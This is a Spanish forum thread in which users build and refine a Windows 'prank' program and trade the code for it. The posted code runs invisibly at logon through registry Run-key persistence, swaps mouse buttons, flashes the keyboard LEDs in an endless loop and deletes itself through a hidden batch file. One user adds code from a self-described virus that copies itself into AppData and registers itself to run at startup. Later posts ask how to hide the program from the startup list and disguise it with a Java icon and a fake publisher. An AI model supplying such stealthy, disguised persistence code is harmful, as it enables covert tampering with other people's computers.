elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Programas de broma
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Programas de broma  (Leído 9,896 veces)
Meta


Desconectado Desconectado

Mensajes: 3.438



Ver Perfil WWW
Programas de broma
« en: 22 Marzo 2018, 17:29 pm »

Hola:

Estaba urgando con C# haciendo archivo de bromas. La idea principal es, que al ejecutar esta aplicación hecha en modo consola, no muestre la pantalla en negro, que no muestre nada, solo que al ejecutarlo tres veces, la primera vez crea un archivo  de texto llamado Archivo.txt que contiene el valor número 3, si llega a 0, crea otro arhivo llamado Hola.txt y en su interior, el contenido escrito esto, Hola amigo.

Los archivos se crean en el escritorio como ejemplo.

Aquí un ejemplo:
Código
  1. using System;
  2. using System.IO;
  3.  
  4. namespace Broma_Consola_02
  5. {
  6.    class Program
  7.    {
  8.        static void Main(string[] args)
  9.        {
  10.            // Variables.
  11.            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  12.            string nombreArchivo = "Archivo.txt";
  13.  
  14.            // Comprueba si existe el archivo en dicha ruta.
  15.            if (File.Exists(Path.Combine(path, nombreArchivo)))
  16.            {
  17.                // Variable del contador.
  18.                int contador;
  19.  
  20.                // Lee el fichero.
  21.                if (Int32.TryParse(File.ReadAllText(Path.Combine(path, nombreArchivo)), out contador))
  22.                {
  23.                    // Si el contador es mayor que 0.
  24.                    if (contador > 0)
  25.                    {
  26.                        // Sobre escribe el archivo con -1 su valor.
  27.                        File.WriteAllText(Path.Combine(path, nombreArchivo), $"{contador -= 1}");
  28.                    }
  29.  
  30.                    // Si el contador es igual a 0.
  31.                    if (contador == 0)
  32.                    {
  33.                        // Escribe un nuevo arhivo de texto con su contenido correspondiente.
  34.                        File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
  35.                    }
  36.                }
  37.  
  38.                // Entonces.
  39.                else
  40.                {
  41.                    Console.WriteLine("El archivo contiene un valor no esperado.");
  42.                }
  43.            }
  44.  
  45.            // Entonces.
  46.            else
  47.            {
  48.                // Escribe el archivo con el valor 3 en Archivo.txt.
  49.                File.WriteAllText(Path.Combine(path, nombreArchivo), "3");
  50.            }
  51.  
  52.            //Console.ReadKey(); // Pulse cualquier tecla para salir.
  53.        }
  54.    }
  55. }

Mi idea es que este ejecutable esté sea como sea, en el inicio de Windows, es decir, que al iniciar Windows, te resta un valor en el archivo txt hasta llegar a 0. Cuando llegues a 0, al iniciar el Windows, se abre también en el inicio el archivo Hola.txt con el mensaje, Hola amigo.

Aquí abajo lo puse como escritorio, al dinal sustituye Desktop (escritorio)
Código
  1. string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
a Startup (Inicio).
Código
  1. string path = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

El que quiere poner otra ubicación, aquí hay una lista.

¿Qué técnica, o ideas, usarían para poder poner este ejecutable en el inicio?

Salu2.


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Programas de broma
« Respuesta #1 en: 22 Marzo 2018, 18:43 pm »

La creación y manipulación de un archivo de texto plano como "intermediario" es algo primitivo e innecesario (a menos que estuviesemos hablando de un archivo de configuración en formato .ini con sus secciones y sus llaves, que no es el caso). Antes que plantearnos la grotesca idea de manipular archivos de texto plano y sin formato, usarías el registro de Windows para crear un valor y leerlo desde tu aplicación.

En fin, probablemente la solución más cómoda al problema que tienes sencillamente podría ser crear una propiedad de usuario en tu aplicación:



Y trabajar la propiedad de la siguiente manera:

Código
  1. class Program {
  2.  
  3.    static void Main(string[] args) {
  4.  
  5.        int value = Properties.Settings.Default.Countdown;
  6.        Debug.WriteLine("Current value: {0}", value);
  7.  
  8.        switch (value) {
  9.            case 0:
  10.                // ...
  11.                // lo que tengas que hacer aquí cuando el contador llega a 0.
  12.                // ...
  13.                Properties.Settings.Default.Reset(); // Reset Countdown value to 3.
  14.                break;
  15.  
  16.            default: // 1, 2 or 3.
  17.                Properties.Settings.Default.Countdown -= 1;
  18.                break;
  19.        }
  20.  
  21.        Properties.Settings.Default.Save();
  22.        Environment.Exit(0);
  23.    }
  24.  
  25. }

Nota: las propiedades de usuario modificadas se almacenan en el archivo user.config en formato XML, no tienes que preocuparte por administrar nada por ti mismo como harías creando y editando un archivo de texto...



Para ocultar la ventana de la consola sencillamente dirígete a esta pestaña en la configuración del proyecto y modifica el tipo de salida, de Console Aplication a Window Application:



...de esta forma, la consola adjunta al programa no se mostrará al inicio.

Nota: una manera alternativa, pero menos amistosa y también menos eficiente de lograr algo similar, sería recurriendo a las funciones de la API de Windows, concretamente a GetConsoleWindow y ShowWindow.



Y por último, para añadir tu programa al inicio de sesión de usuario en Windows, simplemente puedes añadir un nuevo valor de registro en la clave HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run (o en la raíz HKEY_LOCAL_MACHINE para todos los usuarios). Hay otras metodologías alternativas las cuales considero innecesario mencionar... al poder hacerlo de la forma ya explicada.

Hay miles de ejemplos sobre ello en Google para C#, busca un poco. De todas formas aquí te dejo el código fuente de una mini-aplicación que desarrollé (en VB.NET) para ese propósito, el cual puedes analizarlo para obtener las respuestas que necesites...


Cita de: File2Startup by Elektro

De nada.

Saludos.


« Última modificación: 22 Marzo 2018, 19:10 pm por Eleкtro » En línea

**Aincrad**


Desconectado Desconectado

Mensajes: 668



Ver Perfil WWW
Re: Programas de broma
« Respuesta #2 en: 22 Marzo 2018, 19:17 pm »

@Elektro el link del File 2 startup v1.1 esta caido .



la forma en que yo agrego los virus que hago al registro es esta:

Código
  1. Imports Microsoft.Win32
  2.  
  3. Public Class Form1
  4.   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.        autoinicio()
  6.        Me.Hide()
  7.    End Sub
  8.  
  9.    Private Sub autoinicio()
  10.        Dim dirPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
  11.        If My.Computer.FileSystem.FileExists(dirPath & "pc.exe") Then
  12.            Microsoft_Office_2013.Timer1.Start()
  13.        Else
  14.            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, dirPath & "pc.exe")
  15.            Try
  16.                Dim REGISTRADOR As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", True)
  17.                If REGISTRADOR Is Nothing Then
  18.                    Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")
  19.                End If
  20.                Dim NOMBRE As String = dirPath & "pc.exe"
  21.                NOMBRE = NOMBRE.Remove(0, NOMBRE.LastIndexOf("\") + 1)
  22.                REGISTRADOR.SetValue(NOMBRE, dirPath & "pc.exe", RegistryValueKind.String)
  23.                Microsoft_Office_2013.Show()
  24.            Catch ex As Exception
  25.                Dim Result As DialogResult = MessageBox.Show(ex.Message, "Error as ocurrent", MessageBoxButtons.OK, MessageBoxIcon.Error)
  26.                If Result = DialogResult.OK Then
  27.                    End
  28.                End If
  29.            End Try
  30.        End If
  31.     End Sub
  32. End Class

PD: Es una pequeña parte del virus de mause que publique hace unas semanas en la parte de Análisis y Diseño de Malware
En línea



Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 3.348


Ver Perfil
Re: Programas de broma
« Respuesta #3 en: 22 Marzo 2018, 21:15 pm »

la forma en que yo agrego los virus que hago al registro es esta:

            Microsoft_Office_2013.Timer1.Start()
mmm... Supongamos que yo no tengo instalado Office 2013...

Usa soluciones genéricas, no dependientes de si tienes instalado tal o cual cosa.
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Programas de broma
« Respuesta #4 en: 22 Marzo 2018, 21:32 pm »

@Elektro el link del File 2 startup v1.1 esta caido .

Gracias por el aviso. Ya está actualizado y resubido... esta vez a GitHub:



Nota: se me olvidó actualizar la versión en las propiedades del ensamblado, así que se mostrará 1.1.0.0, pero es la versión 1.2.0.0. No hay cambios importantes en el programa, de hecho el único cambio ha sido reemplazar y adaptar todas las clases del código fuente original (del año 2015), por las clases y miembros que utilizo hoy por hoy en el código fuente de la librería comercial ElektroKit, que se proporcionan de forma muy reducida pero gratuita en este repositorio...



Por cierto, ya no recordaba que también desarrollé esto en el pasado, lo cual simplifica mucho la tarea...


Este snippet sirve para añadir o eliminar de forma muuuuuy sencilla :P un archivo/aplicación al Startup de Windows mediante el registro, con características interesantes...

Modo de empleo:
Código
  1. WinStartupUtil.Add(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
  2.                   title:="Application Title",
  3.                   filePath:="C:\Application.exe",
  4.                   arguments:="/Arguments",
  5.                   secureModeByPass:=True)

Código
  1. WinStartupUtil.Remove(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
  2.                      title:="Application Title",
  3.                      throwOnMissingValue:=True)


Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 25-March-2015
  4. ' ***********************************************************************
  5. ' <copyright file="WinStartupUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'WinStartupUtil.Add(WinStartupUtil.UserType.CurrentUser,
  13. '                   WinStartupUtil.StartupType.Run,
  14. '                   WinStartupUtil.KeyBehavior.System32,
  15. '                   title:="Application Title",
  16. '                   filePath:="C:\Application.exe",
  17. '                   secureModeByPass:=True)
  18.  
  19. 'WinStartupUtil.Remove(WinStartupUtil.UserType.CurrentUser,
  20. '                      WinStartupUtil.StartupType.Run,
  21. '                      WinStartupUtil.KeyBehavior.System32,
  22. '                      title:="Application Title",
  23. '                      throwOnMissingValue:=True)
  24.  
  25. #End Region
  26.  
  27. #Region " Option Statements "
  28.  
  29. Option Explicit On
  30. Option Strict On
  31. Option Infer Off
  32.  
  33. #End Region
  34.  
  35. #Region " Imports "
  36.  
  37. Imports Microsoft.Win32
  38.  
  39. #End Region
  40.  
  41. #Region " WinStartupUtil "
  42.  
  43.  
  44. ''' <summary>
  45. ''' Adds or removes an application to Windows Startup.
  46. ''' </summary>
  47. Public NotInheritable Class WinStartupUtil
  48.  
  49. #Region " Properties "
  50.  
  51.    ''' <summary>
  52.    ''' Gets the 'Run' registry subkey path.
  53.    ''' </summary>
  54.    ''' <value>The 'Run' registry subkey path.</value>
  55.    Public Shared ReadOnly Property RunSubKeyPath As String
  56.        Get
  57.            Return "Software\Microsoft\Windows\CurrentVersion\Run"
  58.        End Get
  59.    End Property
  60.  
  61.    ''' <summary>
  62.    ''' Gets the 'Run' registry subkey path for x86 appications on x64 operating system.
  63.    ''' </summary>
  64.    ''' <value>The 'Run' registry subkey path for x86 appications on x64 operating system.</value>
  65.    Public Shared ReadOnly Property RunSubKeyPathSysWow64 As String
  66.        Get
  67.            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
  68.        End Get
  69.    End Property
  70.  
  71.    ''' <summary>
  72.    ''' Gets the 'RunOnce' registry subkey path.
  73.    ''' </summary>
  74.    ''' <value>The 'RunOnce' registry subkey path.</value>
  75.    Public Shared ReadOnly Property RunOnceSubKeyPath As String
  76.        Get
  77.            Return "Software\Microsoft\Windows\CurrentVersion\RunOnce"
  78.        End Get
  79.    End Property
  80.  
  81.    ''' <summary>
  82.    ''' Gets the 'RunOnce' registry subkey path for x86 appications on x64 operating system.
  83.    ''' </summary>
  84.    ''' <value>The 'RunOnce' registry subkey path for x86 appications on x64 operating system.</value>
  85.    Public Shared ReadOnly Property RunOnceSubKeyPathSysWow64 As String
  86.        Get
  87.            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
  88.        End Get
  89.    End Property
  90.  
  91. #End Region
  92.  
  93. #Region " Enumerations "
  94.  
  95.    ''' <summary>
  96.    ''' Specifies an user type.
  97.    ''' </summary>
  98.    Public Enum UserType As Integer
  99.  
  100.        ''' <summary>
  101.        ''' 'HKEY_CURRENT_USER' root key.
  102.        ''' </summary>
  103.        CurrentUser = &H1
  104.  
  105.        ''' <summary>
  106.        ''' 'HKEY_LOCAL_MACHINE' root key.
  107.        ''' </summary>
  108.        AllUsers = &H2
  109.  
  110.    End Enum
  111.  
  112.    ''' <summary>
  113.    ''' Specifies a Startup type.
  114.    ''' </summary>
  115.    Public Enum StartupType As Integer
  116.  
  117.        ''' <summary>
  118.        ''' 'Run' registry subkey.
  119.        ''' </summary>
  120.        Run = &H1
  121.  
  122.        ''' <summary>
  123.        ''' 'RunOnce' registry subkey.
  124.        ''' </summary>
  125.        RunOnce = &H2
  126.  
  127.    End Enum
  128.  
  129.    ''' <summary>
  130.    ''' Specifies a registry key behavior.
  131.    ''' </summary>
  132.    Public Enum KeyBehavior As Integer
  133.  
  134.        ''' <summary>
  135.        ''' System32 registry subkey.
  136.        ''' </summary>
  137.        System32 = &H1
  138.  
  139.        ''' <summary>
  140.        ''' SysWow64 registry subkey.
  141.        ''' </summary>
  142.        SysWow64 = &H2
  143.  
  144.    End Enum
  145.  
  146. #End Region
  147.  
  148. #Region " Public Methods "
  149.  
  150.    ''' <summary>
  151.    ''' Adds an application to Windows Startup.
  152.    ''' </summary>
  153.    ''' <param name="userType">The type of user.</param>
  154.    ''' <param name="startupType">The type of startup.</param>
  155.    ''' <param name="keyBehavior">The registry key behavior.</param>
  156.    ''' <param name="title">The registry value title.</param>
  157.    ''' <param name="filePath">The application file path.</param>
  158.    ''' <param name="secureModeByPass">
  159.    ''' If set to <c>true</c>, the file is ran even when the user logs into 'Secure Mode' on Windows.
  160.    ''' </param>
  161.    ''' <exception cref="System.ArgumentNullException">title or filePath</exception>
  162.    Public Shared Sub Add(ByVal userType As UserType,
  163.                          ByVal startupType As StartupType,
  164.                          ByVal keyBehavior As KeyBehavior,
  165.                          ByVal title As String,
  166.                          ByVal filePath As String,
  167.                          Optional ByVal arguments As String = "",
  168.                          Optional secureModeByPass As Boolean = False)
  169.  
  170.        If String.IsNullOrEmpty(title) Then
  171.            Throw New ArgumentNullException("title")
  172.  
  173.        ElseIf String.IsNullOrEmpty(filePath) Then
  174.            Throw New ArgumentNullException("filePath")
  175.  
  176.        Else
  177.            If secureModeByPass Then
  178.                title = title.Insert(0, "*")
  179.            End If
  180.  
  181.            Dim regKey As RegistryKey = Nothing
  182.            Try
  183.                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
  184.                regKey.SetValue(title, String.Format("""{0}"" {1}", filePath, arguments), RegistryValueKind.String)
  185.  
  186.            Catch ex As Exception
  187.                Throw
  188.  
  189.            Finally
  190.                If regKey IsNot Nothing Then
  191.                    regKey.Close()
  192.                End If
  193.  
  194.            End Try
  195.  
  196.        End If
  197.  
  198.    End Sub
  199.  
  200.    ''' <summary>
  201.    ''' Removes an application from Windows Startup.
  202.    ''' </summary>
  203.    ''' <param name="userType">The type of user.</param>
  204.    ''' <param name="startupType">The type of startup.</param>
  205.    ''' <param name="keyBehavior">The registry key behavior.</param>
  206.    ''' <param name="title">The value name to find.</param>
  207.    ''' <param name="throwOnMissingValue">if set to <c>true</c>, throws an exception on missing value.</param>
  208.    ''' <exception cref="System.ArgumentNullException">title</exception>
  209.    ''' <exception cref="System.ArgumentException">Registry value not found.;title</exception>
  210.    Friend Shared Sub Remove(ByVal userType As UserType,
  211.                             ByVal startupType As StartupType,
  212.                             ByVal keyBehavior As KeyBehavior,
  213.                             ByVal title As String,
  214.                             Optional ByVal throwOnMissingValue As Boolean = False)
  215.  
  216.        If String.IsNullOrEmpty(title) Then
  217.            Throw New ArgumentNullException("title")
  218.  
  219.        Else
  220.            Dim valueName As String = String.Empty
  221.            Dim regKey As RegistryKey = Nothing
  222.  
  223.            Try
  224.                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
  225.  
  226.                If regKey.GetValue(title, defaultValue:=Nothing) IsNot Nothing Then
  227.                    valueName = title
  228.  
  229.                ElseIf regKey.GetValue(title.Insert(0, "*"), defaultValue:=Nothing) IsNot Nothing Then
  230.                    valueName = title.Insert(0, "*")
  231.  
  232.                Else
  233.                    If throwOnMissingValue Then
  234.                        Throw New ArgumentException("Registry value not found.", "title")
  235.                    End If
  236.  
  237.                End If
  238.  
  239.                regKey.DeleteValue(valueName, throwOnMissingValue:=throwOnMissingValue)
  240.  
  241.            Catch ex As Exception
  242.                Throw
  243.  
  244.            Finally
  245.                If regKey IsNot Nothing Then
  246.                    regKey.Close()
  247.                End If
  248.  
  249.            End Try
  250.  
  251.        End If
  252.  
  253.    End Sub
  254.  
  255. #End Region
  256.  
  257. #Region " Private Methods "
  258.  
  259.    ''' <summary>
  260.    ''' Gets a <see cref="RegistryKey"/> instance of the specified root key.
  261.    ''' </summary>
  262.    ''' <param name="userType">The type of user.</param>
  263.    ''' <returns>A <see cref="RegistryKey"/> instance of the specified root key.</returns>
  264.    ''' <exception cref="System.ArgumentException">Invalid enumeration value.;userType</exception>
  265.    Private Shared Function GetRootKey(ByVal userType As UserType) As RegistryKey
  266.  
  267.        Select Case userType
  268.  
  269.            Case userType.CurrentUser
  270.                Return Registry.CurrentUser
  271.  
  272.            Case userType.AllUsers
  273.                Return Registry.LocalMachine
  274.  
  275.            Case Else
  276.                Throw New ArgumentException("Invalid enumeration value.", "userType")
  277.  
  278.        End Select ' userType
  279.  
  280.    End Function
  281.  
  282.    ''' <summary>
  283.    ''' Gets the proper registry subkey path from the parameters criteria.
  284.    ''' </summary>
  285.    ''' <param name="startupType">Type of the startup.</param>
  286.    ''' <param name="keyBehavior">The key behavior.</param>
  287.    ''' <returns>The registry subkey path.</returns>
  288.    ''' <exception cref="System.ArgumentException">
  289.    ''' Invalid enumeration value.;startupType or
  290.    ''' Invalid enumeration value.;keyBehavior
  291.    ''' </exception>
  292.    Private Shared Function GetSubKeyPath(ByVal startupType As StartupType,
  293.                                          ByVal keyBehavior As KeyBehavior) As String
  294.  
  295.        Select Case keyBehavior
  296.  
  297.            Case keyBehavior.System32
  298.  
  299.                Select Case startupType
  300.  
  301.                    Case startupType.Run
  302.                        Return RunSubKeyPath
  303.  
  304.                    Case startupType.RunOnce
  305.                        Return RunOnceSubKeyPath
  306.  
  307.                    Case Else
  308.                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
  309.  
  310.                End Select ' startupType
  311.  
  312.            Case keyBehavior.SysWow64
  313.  
  314.                Select Case startupType
  315.  
  316.                    Case startupType.Run
  317.                        Return RunSubKeyPathSysWow64
  318.  
  319.                    Case startupType.RunOnce
  320.                        Return RunOnceSubKeyPathSysWow64
  321.  
  322.                    Case Else
  323.                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
  324.  
  325.                End Select ' startupType
  326.  
  327.            Case Else
  328.                Throw New ArgumentException("Invalid enumeration value.", "keyBehavior")
  329.  
  330.        End Select ' keyBehavior
  331.  
  332.    End Function
  333.  
  334. #End Region
  335.  
  336. End Class
  337.  
  338. #End Region

Saludos!
« Última modificación: 22 Marzo 2018, 21:55 pm por Eleкtro » En línea

Meta


Desconectado Desconectado

Mensajes: 3.438



Ver Perfil WWW
Re: Programas de broma
« Respuesta #5 en: 22 Marzo 2018, 22:17 pm »

Buenas compeñar@s:

Muy buen aporte. No había caído la parte esta del inicio.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Si no está en modo administrador, nose si tendrás permiso o Windows 10 se queja. Tengo que hacer pruebas.

Buen tutorial.

Gracias a todos por aportar, modificaré con vuestros aportes usando el regedit.

Saludos..
En línea

Meta


Desconectado Desconectado

Mensajes: 3.438



Ver Perfil WWW
Re: Programas de broma
« Respuesta #6 en: 23 Marzo 2018, 21:54 pm »

Siguiendo los consejos que dieron arriba sobre regedit, lo hice así y funciona.

Código
  1. using Microsoft.Win32;
  2. using System;
  3. using System.IO;
  4.  
  5. namespace Broma_Consola_03
  6. {
  7.    class Program
  8.    {
  9.        static void Main(string[] args)
  10.        {
  11.            // Root.
  12.            const string userRoot = "HKEY_CURRENT_USER";
  13.            // Clave.
  14.            const string subkey = "Metaconta";
  15.            // FullName.
  16.            const string keyName = userRoot + "\\" + subkey;
  17.            // ValueName.
  18.            const string valueName = "Contador";
  19.  
  20.            // Variables txt.
  21.            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  22.  
  23.            // Si no existe la Key, dará -1.
  24.            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);
  25.  
  26.            // Comprueba si la key, al ser -1 si la key no existe.
  27.            if (contador >= 0)
  28.            {
  29.                // Si el contador es mayor que 0.
  30.                if (contador > 0)
  31.                {
  32.                    // Sobre escribe la key con -1 su valor.
  33.                    Registry.SetValue(keyName, valueName, contador -= 1);
  34.                }
  35.  
  36.                // Si el contador es igual a 0.
  37.                if (contador == 0)
  38.                {
  39.                    // Escribe un nuevo arhivo de texto con su contenido correspondiente.
  40.                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
  41.                }
  42.  
  43.            }
  44.            // Entonces.
  45.            else
  46.            {
  47.                // Escribe en el registro el valor.
  48.                Registry.SetValue(keyName, valueName, 3);
  49.            }
  50.        }
  51.    }
  52. }

Saludos.
En línea

Meta


Desconectado Desconectado

Mensajes: 3.438



Ver Perfil WWW
Re: Programas de broma
« Respuesta #7 en: 5 Abril 2018, 04:29 am »

Hola:

¿Qué les parece la broma?
Todavía queda mucho que pulir, poco a poco se va ampliando y mejorando.

Leer los comentarios para entender el código.

Código
  1. using Microsoft.Win32;
  2. using System;
  3. using System.ComponentModel;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Printing;
  7. using System.IO;
  8. using System.Runtime.InteropServices;
  9. using System.Text;
  10. using System.Threading;
  11.  
  12. namespace Broma_Consola_05
  13. {
  14.    class Program
  15.    {
  16.        // Importar dll.
  17.        // Bandeja o lector o unidad de disco.
  18.        [DllImport("winmm.dll")]
  19.        public static extern Int32 mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
  20.        int uReturnLength, IntPtr hwndCallback);
  21.  
  22.        public static StringBuilder rt = new StringBuilder(127);
  23.  
  24.        // Intercambio de botones del ratón.
  25.        [DllImport("user32.dll")]
  26.        static extern bool SwapMouseButton(bool fSwap);
  27.  
  28.        // Leds del teclado.
  29.        [DllImport("user32.dll")]
  30.        internal static extern short GetKeyState(int keyCode);
  31.  
  32.        [DllImport("user32.dll")]
  33.        static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
  34.  
  35.        static void Main(string[] args)
  36.        {
  37.            // Root.
  38.            const string userRoot = "HKEY_CURRENT_USER";
  39.            // Clave.
  40.            const string subkey = "Metaconta";
  41.            // FullName.
  42.            const string keyName = userRoot + "\\" + subkey;
  43.            // ValueName.
  44.            const string valueName = "Contador";
  45.  
  46.            // Variables txt.
  47.            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  48.  
  49.            // Si no existe la Key, dará -1.
  50.            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);
  51.  
  52.            // Comprueba si la key, al ser -1 si la key no existe.
  53.            if (contador >= 0)
  54.            {
  55.                // Si el contador es mayor que 0.
  56.                if (contador > 0)
  57.                {
  58.                    // Sobre escribe la key con -1 su valor.
  59.                    Registry.SetValue(keyName, valueName, contador -= 1);
  60.                }
  61.  
  62.                // Escribe un nuevo arhivo de texto con su contenido correspondiente.
  63.                if (contador == 7)
  64.                {
  65.                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
  66.                }
  67.  
  68.                // Abrir bandeja del lector.
  69.                if (contador == 6)
  70.                {
  71.                    mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero);
  72.                }
  73.  
  74.                // Intercambiar botones del ratón (Diestro).
  75.                if (contador == 5)
  76.                {
  77.                    SwapMouseButton(false); // Activar .
  78.                }
  79.  
  80.                // Intercambiar botones del ratón (Zurdo).
  81.                if (contador == 4)
  82.                {
  83.                    // Activar modo zurdo.
  84.                    // SwapMouseButton(true); o SwapMouseButton(1);
  85.                    // Para volver a modo diestro.
  86.                    // SwapMouseButton(false); o SwapMouseButton(0);
  87.                    SwapMouseButton(true); // Activar surdo.
  88.                }
  89.  
  90.                // Imprimir un folio de la impresora o ficticia.
  91.                if (contador == 3)
  92.                {
  93.                    string amigo = @"Hola amigo.";
  94.                    string folio = @"Solo te he gastado un folio.";
  95.  
  96.                    PrintDocument p = new PrintDocument();
  97.                    p.PrintPage += delegate (object sender1, PrintPageEventArgs e1)
  98.                    {
  99.                        e1.Graphics.DrawString(amigo, new Font("Times New Roman", 100),
  100.                            new SolidBrush(Color.Black), new RectangleF(30, 100,
  101.                            p.DefaultPageSettings.PrintableArea.Width,
  102.                            p.DefaultPageSettings.PrintableArea.Height));
  103.  
  104.                        e1.Graphics.DrawString(folio, new Font("Times New Roman", 12),
  105.                            new SolidBrush(Color.Black), new RectangleF(530, 270,
  106.                            p.DefaultPageSettings.PrintableArea.Width,
  107.                            p.DefaultPageSettings.PrintableArea.Height));
  108.                    };
  109.  
  110.                    try
  111.                    {
  112.                        p.Print();
  113.                    }
  114.                    catch (Exception ex)
  115.                    {
  116.                        throw new Exception("Excepción ocurrida durante la impresión.", ex);
  117.                    }
  118.                }
  119.  
  120.                // Parpadean los Led del teclado.
  121.                if (contador == 2)
  122.                {
  123.                    while (true)
  124.                    {
  125.                        //No se el orden porque no tengo un teclado mecanico para ver los 3 pilotos juntos
  126.                        PressKeyboardButton(VirtualKeyStates.BloqMayus);
  127.                        Thread.Sleep(100); //Ajusta estos tiempos a como te interese
  128.                        PressKeyboardButton(VirtualKeyStates.BloqNum);
  129.                        Thread.Sleep(100);
  130.                        PressKeyboardButton(VirtualKeyStates.BloqDespl);
  131.                        Thread.Sleep(100);
  132.                    }
  133.  
  134.                    void PressKeyboardButton(VirtualKeyStates keyCode)
  135.                    {
  136.                        const int KEYEVENTF_EXTENDEDKEY = 0x1;
  137.                        const int KEYEVENTF_KEYUP = 0x2;
  138.                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
  139.                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
  140.                    }
  141.                }
  142.  
  143.                // Crea archivo bat, borra .exe y .cmd. Fin de la broma.
  144.                if (contador == 1)
  145.                {
  146.                    try
  147.                    {
  148.                        // Variables.
  149.                        string strFileFullName = @"archivo.cmd"; // Nombre del archivo.
  150.                                                                 //string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Startup); // Ruta en Inico de Windwos.
  151.                        string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Ruta en el inicio de Windows.
  152.                        string ficheroAGrabar = Path.Combine(ruta, strFileFullName); // Concatenar ruta.
  153.  
  154.                        // Muestra la ruta en pantalla.
  155.                        Console.WriteLine(ruta); // C:\Users\Usuario\Desktop
  156.  
  157.                        // Si no existe el archivo.
  158.                        if (!File.Exists(ficheroAGrabar))
  159.                        {
  160.                            // Crea el contenido al archivo de texto.
  161.                            File.WriteAllText(ficheroAGrabar, @"@echo off
  162. TIMEOUT /T 1
  163. DEL /S Broma_Consola_05.exe
  164. DEL /S archivo.cmd
  165. EXIT");
  166.                        }
  167.  
  168.                        else // Si existe...
  169.                        {
  170.                            // Codigo a ejecutar si existe...
  171.                            // Console.WriteLine("El archivo existe, así que no se sustituirá.");
  172.                        }
  173.  
  174.                        // Ejecutar archivo.cmd.
  175.                        ProcessStartInfo psi = new ProcessStartInfo();
  176.                        psi.UseShellExecute = false;
  177.                        psi.CreateNoWindow = true;
  178.                        psi.WindowStyle = ProcessWindowStyle.Hidden;
  179.                        psi.FileName = strFileFullName; // archivo.cmd.
  180.                        Process.Start(psi);
  181.  
  182.                        // Cerrar aplicación C#.
  183.                        Environment.Exit(-1);
  184.                    }
  185.  
  186.                    catch (Win32Exception)
  187.                    {
  188.                        // No mostrar nada.
  189.                        // Cerrar aplicación C#.
  190.                        //Environment.Exit(-1);
  191.                    }
  192.                }
  193.                // Entonces.
  194.                else
  195.                {
  196.                    // Escribe en el registro el valor.
  197.                    Registry.SetValue(keyName, valueName, 10);
  198.                }
  199.            }
  200.        }
  201.  
  202.        public enum VirtualKeyStates : int
  203.        {
  204.            BloqMayus = 0x14, // 20
  205.            BloqNum = 0x90, //144
  206.            BloqDespl = 0x91, //145  
  207.        }
  208.    }
  209. }
  210.  

Saludos.
En línea

Meta


Desconectado Desconectado

Mensajes: 3.438



Ver Perfil WWW
Re: Programas de broma
« Respuesta #8 en: 17 Abril 2018, 02:41 am »

Buenas:

Siguiendo la broma. Ahora está la parte de invertir la pantalla, cuando vuelvas a iniciar, se vuelve normal.

El problema que me di cuenta en Windows 10, pueden saber que en inicio hay un programa.



¿No hay otro sitio para esconderlo?

Tendré que usar trucos como , usar el icono de Java. Donde pone anunciante, poner su anuncio. Como pueden ver en Broma_Consola_06, no tiene nada en Anunciante.

¿Cómo se pone algo?

Saludos.
« Última modificación: 17 Abril 2018, 02:43 am por Meta » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Programas de broma
« Respuesta #9 en: 17 Abril 2018, 04:01 am »

usar el icono de Java.

Eso ya más que broma estaría rozando el ser considerado software malicioso...

